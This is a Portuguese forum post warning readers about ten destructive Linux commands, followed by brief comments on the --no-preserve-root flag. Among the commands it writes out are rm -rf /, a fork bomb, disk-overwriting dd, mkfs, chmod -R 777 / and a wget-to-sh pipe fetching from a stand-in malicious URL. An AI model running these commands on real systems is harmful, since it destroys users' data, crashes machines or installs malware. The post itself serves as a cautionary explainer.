Executando verificação de segurança...
26

Principais comandos perigosos em Linux

Diversos comandos há para serem executados de maneira eficiente e funcional. No entanto combinações podem fazer com que "destrua" seu sistema Linux.

  1. rm -rf /

    • Apaga recursivamente todos os arquivos e diretórios no sistema, começando pela raiz /. Isso pode apagar todos os dados do sistema.
  2. :(){ :|: & };: (Fork bomb)

    • Cria uma função recursiva que se auto-executa indefinidamente, consumindo todos os recursos do sistema até que ele trave.
  3. dd if=/dev/zero of=/dev/sda

    • Sobrescreve todo o disco rígido com zeros, apagando permanentemente todos os dados nele contidos.
  4. mkfs.ext4 /dev/sda1

    • Formata a partição especificada, destruindo todos os dados nela.
  5. mv /folder/* /dev/null

    • Move todos os arquivos de um diretório para /dev/null, que é uma espécie de "buraco negro" no Linux onde os dados são descartados.
  6. chmod -R 777 /

    • Altera as permissões de todos os arquivos e diretórios do sistema, permitindo que qualquer usuário leia, escreva ou execute qualquer coisa, comprometendo gravemente a segurança do sistema.
  7. > arquivo

    • Um simples > seguido de um nome de arquivo pode sobrescrever o conteúdo de um arquivo existente, esvaziando-o.
  8. dd if=/dev/sda of=/dev/sdb

    • Copia byte a byte o conteúdo de um disco para outro, o que pode destruir os dados do disco de destino se usado incorretamente.
  9. wget http://malicious_url -O- | sh

    • Baixar e executar scripts diretamente da internet sem verificar seu conteúdo é extremamente perigoso, pois pode introduzir malwares ou comprometer o sistema.
  10. kill -9 -1

    • O comando kill -9 força o encerramento de processos. Aplicado ao PID -1, ele encerra todos os processos, incluindo aqueles essenciais para o sistema.

Se está com vontade para testar sem prejudicar seu sistema, use um emulador, máquina virtual e outros. Há Termux para Linux. De forma segura você pode executar, exceto comandos que consomem muitos processos. Isso irá congelar apenas o seu telefone por alguns segundos - Pelo menos no meu foram alguns segundos até o aplicativo parar de funcionar.

Carregando publicação patrocinada...
4
2

Antes não havia essa política, isto é, configuração Shell Bash para evitar esse erro. Por esse motivo introduziram o argumento rm -rf --no-preserve-root / para confirmar "que tenho certeza que estou fazendo".

1
1

Engraçado que a root é a parte principal e indispensavel de um sistema Linux, e faz sentido no momento da remoção total ele ignorar a pasta. Mas por quê diabos incluíram uma diretiva pra ignorar essa limitação? Kkkkkkk

1
1
1
-3